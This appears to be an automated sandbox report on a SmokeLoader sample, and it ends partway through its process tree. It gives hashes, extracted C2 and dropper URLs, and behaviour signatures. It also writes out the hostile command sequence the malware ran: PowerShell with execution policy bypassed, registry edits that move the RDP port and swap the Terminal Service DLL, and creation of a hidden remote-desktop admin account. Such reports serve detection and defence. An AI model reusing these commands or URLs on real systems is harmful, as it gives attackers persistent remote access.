Analysis
-
max time kernel
156s -
max time network
152s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
19-10-2021 10:00
Static task
static1
Behavioral task
behavioral1
Sample
580fc5cd72d7979040fa1c4866ada3d0.exe
Resource
win7-en-20210920
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
580fc5cd72d7979040fa1c4866ada3d0.exe
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
General
-
Target
580fc5cd72d7979040fa1c4866ada3d0.exe
-
Size
343KB
-
MD5
580fc5cd72d7979040fa1c4866ada3d0
-
SHA1
7da202d99be94f57f355c611bafde9656bca65b7
-
SHA256
42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589
-
SHA512
b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
Family
smokeloader
Version
2020
C2
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
rc4.i32
rc4.i32
Signatures
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
flow pid Process 57 1592 powershell.exe 59 1592 powershell.exe 60 1592 powershell.exe 61 1592 powershell.exe 63 1592 powershell.exe 67 1592 powershell.exe 69 1592 powershell.exe 71 1592 powershell.exe 73 1592 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 1732 31F9.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x00050000000152d8-360.dat upx behavioral2/files/0x00050000000152d9-361.dat upx -
Deletes itself 1 IoCs
pid Process 3028 Process not Found -
Loads dropped DLL 2 IoCs
pid Process 2880 Process not Found 2880 Process not Found -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB273.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB2B5.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB2C6.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB294.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_111i1zee.5lw.psm1 powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vj5g2fok.ag1.ps1 powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB2A4.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4552 reg.exe -
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 61 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 63 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 59 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 60 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4068 580fc5cd72d7979040fa1c4866ada3d0.exe 4068 580fc5cd72d7979040fa1c4866ada3d0.exe 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3028 Process not Found -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 628 Process not Found 628 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4068 580fc5cd72d7979040fa1c4866ada3d0.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 520 powershell.exe Token: SeDebugPrivilege 2496 powershell.exe Token: SeIncreaseQuotaPrivilege 2496 powershell.exe Token: SeSecurityPrivilege 2496 powershell.exe Token: SeTakeOwnershipPrivilege 2496 powershell.exe Token: SeLoadDriverPrivilege 2496 powershell.exe Token: SeSystemProfilePrivilege 2496 powershell.exe Token: SeSystemtimePrivilege 2496 powershell.exe Token: SeProfSingleProcessPrivilege 2496 powershell.exe Token: SeIncBasePriorityPrivilege 2496 powershell.exe Token: SeCreatePagefilePrivilege 2496 powershell.exe Token: SeBackupPrivilege 2496 powershell.exe Token: SeRestorePrivilege 2496 powershell.exe Token: SeShutdownPrivilege 2496 powershell.exe Token: SeDebugPrivilege 2496 powershell.exe Token: SeSystemEnvironmentPrivilege 2496 powershell.exe Token: SeRemoteShutdownPrivilege 2496 powershell.exe Token: SeUndockPrivilege 2496 powershell.exe Token: SeManageVolumePrivilege 2496 powershell.exe Token: 33 2496 powershell.exe Token: 34 2496 powershell.exe Token: 35 2496 powershell.exe Token: 36 2496 powershell.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeIncreaseQuotaPrivilege 2200 powershell.exe Token: SeSecurityPrivilege 2200 powershell.exe Token: SeTakeOwnershipPrivilege 2200 powershell.exe Token: SeLoadDriverPrivilege 2200 powershell.exe Token: SeSystemProfilePrivilege 2200 powershell.exe Token: SeSystemtimePrivilege 2200 powershell.exe Token: SeProfSingleProcessPrivilege 2200 powershell.exe Token: SeIncBasePriorityPrivilege 2200 powershell.exe Token: SeCreatePagefilePrivilege 2200 powershell.exe Token: SeBackupPrivilege 2200 powershell.exe Token: SeRestorePrivilege 2200 powershell.exe Token: SeShutdownPrivilege 2200 powershell.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeSystemEnvironmentPrivilege 2200 powershell.exe Token: SeRemoteShutdownPrivilege 2200 powershell.exe Token: SeUndockPrivilege 2200 powershell.exe Token: SeManageVolumePrivilege 2200 powershell.exe Token: 33 2200 powershell.exe Token: 34 2200 powershell.exe Token: 35 2200 powershell.exe Token: 36 2200 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeIncreaseQuotaPrivilege 1960 powershell.exe Token: SeSecurityPrivilege 1960 powershell.exe Token: SeTakeOwnershipPrivilege 1960 powershell.exe Token: SeLoadDriverPrivilege 1960 powershell.exe Token: SeSystemProfilePrivilege 1960 powershell.exe Token: SeSystemtimePrivilege 1960 powershell.exe Token: SeProfSingleProcessPrivilege 1960 powershell.exe Token: SeIncBasePriorityPrivilege 1960 powershell.exe Token: SeCreatePagefilePrivilege 1960 powershell.exe Token: SeBackupPrivilege 1960 powershell.exe Token: SeRestorePrivilege 1960 powershell.exe Token: SeShutdownPrivilege 1960 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeSystemEnvironmentPrivilege 1960 powershell.exe Token: SeRemoteShutdownPrivilege 1960 powershell.exe Token: SeUndockPrivilege 1960 powershell.exe Token: SeManageVolumePrivilege 1960 powershell.exe Token: 33 1960 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3028 Process not Found 3028 Process not Found -
Suspicious use of SendNotifyMessage 5 IoCs
pid Process 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found 3028 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3028 wrote to memory of 1732 3028 Process not Found 70 PID 3028 wrote to memory of 1732 3028 Process not Found 70 PID 1732 wrote to memory of 520 1732 31F9.exe 73 PID 1732 wrote to memory of 520 1732 31F9.exe 73 PID 520 wrote to memory of 1416 520 powershell.exe 75 PID 520 wrote to memory of 1416 520 powershell.exe 75 PID 1416 wrote to memory of 1508 1416 csc.exe 76 PID 1416 wrote to memory of 1508 1416 csc.exe 76 PID 520 wrote to memory of 2496 520 powershell.exe 77 PID 520 wrote to memory of 2496 520 powershell.exe 77 PID 520 wrote to memory of 2200 520 powershell.exe 80 PID 520 wrote to memory of 2200 520 powershell.exe 80 PID 520 wrote to memory of 1960 520 powershell.exe 82 PID 520 wrote to memory of 1960 520 powershell.exe 82 PID 520 wrote to memory of 4568 520 powershell.exe 84 PID 520 wrote to memory of 4568 520 powershell.exe 84 PID 520 wrote to memory of 4552 520 powershell.exe 85 PID 520 wrote to memory of 4552 520 powershell.exe 85 PID 520 wrote to memory of 2288 520 powershell.exe 86 PID 520 wrote to memory of 2288 520 powershell.exe 86 PID 520 wrote to memory of 972 520 powershell.exe 87 PID 520 wrote to memory of 972 520 powershell.exe 87 PID 972 wrote to memory of 2336 972 net.exe 88 PID 972 wrote to memory of 2336 972 net.exe 88 PID 520 wrote to memory of 2392 520 powershell.exe 89 PID 520 wrote to memory of 2392 520 powershell.exe 89 PID 2392 wrote to memory of 4800 2392 cmd.exe 90 PID 2392 wrote to memory of 4800 2392 cmd.exe 90 PID 4800 wrote to memory of 3632 4800 cmd.exe 91 PID 4800 wrote to memory of 3632 4800 cmd.exe 91 PID 3632 wrote to memory of 3648 3632 net.exe 92 PID 3632 wrote to memory of 3648 3632 net.exe 92 PID 520 wrote to memory of 4452 520 powershell.exe 94 PID 520 wrote to memory of 4452 520 powershell.exe 94 PID 4452 wrote to memory of 4456 4452 cmd.exe 93 PID 4452 wrote to memory of 4456 4452 cmd.exe 93 PID 4456 wrote to memory of 3652 4456 cmd.exe 95 PID 4456 wrote to memory of 3652 4456 cmd.exe 95 PID 3652 wrote to memory of 4512 3652 net.exe 96 PID 3652 wrote to memory of 4512 3652 net.exe 96 PID 3840 wrote to memory of 4080 3840 cmd.exe 100 PID 3840 wrote to memory of 4080 3840 cmd.exe 100 PID 4080 wrote to memory of 672 4080 net.exe 101 PID 4080 wrote to memory of 672 4080 net.exe 101 PID 3940 wrote to memory of 4444 3940 cmd.exe 104 PID 3940 wrote to memory of 4444 3940 cmd.exe 104 PID 4444 wrote to memory of 2260 4444 net.exe 105 PID 4444 wrote to memory of 2260 4444 net.exe 105 PID 812 wrote to memory of 1216 812 cmd.exe 108 PID 812 wrote to memory of 1216 812 cmd.exe 108 PID 1216 wrote to memory of 1380 1216 net.exe 109 PID 1216 wrote to memory of 1380 1216 net.exe 109 PID 512 wrote to memory of 1508 512 cmd.exe 112 PID 512 wrote to memory of 1508 512 cmd.exe 112 PID 1508 wrote to memory of 1744 1508 net.exe 113 PID 1508 wrote to memory of 1744 1508 net.exe 113 PID 1772 wrote to memory of 2164 1772 cmd.exe 117 PID 1772 wrote to memory of 2164 1772 cmd.exe 117 PID 2164 wrote to memory of 2360 2164 net.exe 116 PID 2164 wrote to memory of 2360 2164 net.exe 116 PID 2440 wrote to memory of 3244 2440 cmd.exe 120 PID 2440 wrote to memory of 3244 2440 cmd.exe 120 PID 3244 wrote to memory of 4572 3244 net.exe 121 PID 3244 wrote to memory of 4572 3244 net.exe 121
Processes
-
C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4068
-
C:\Users\Admin\AppData\Local\Temp\31F9.exeC:\Users\Admin\AppData\Local\Temp\31F9.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nnudqgu5\nnudqgu5.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6955.tmp" "c:\Users\Admin\AppData\Local\Temp\nnudqgu5\CSC755B14DB4A69454AADADA3431A9E59F0.TMP"4⤵PID:1508
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2496
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1960
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:4568
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:4552
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2288
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2336
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3648
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:4452
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1504
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:296
-
-
-
C:\Windows\system32\cmd.execmd /c net start TermService1⤵
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\system32\net.exenet start TermService2⤵
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService3⤵PID:4512
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:672
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc XIhDQpGK /add1⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc XIhDQpGK /add2⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc XIhDQpGK /add3⤵PID:2260
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1380
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
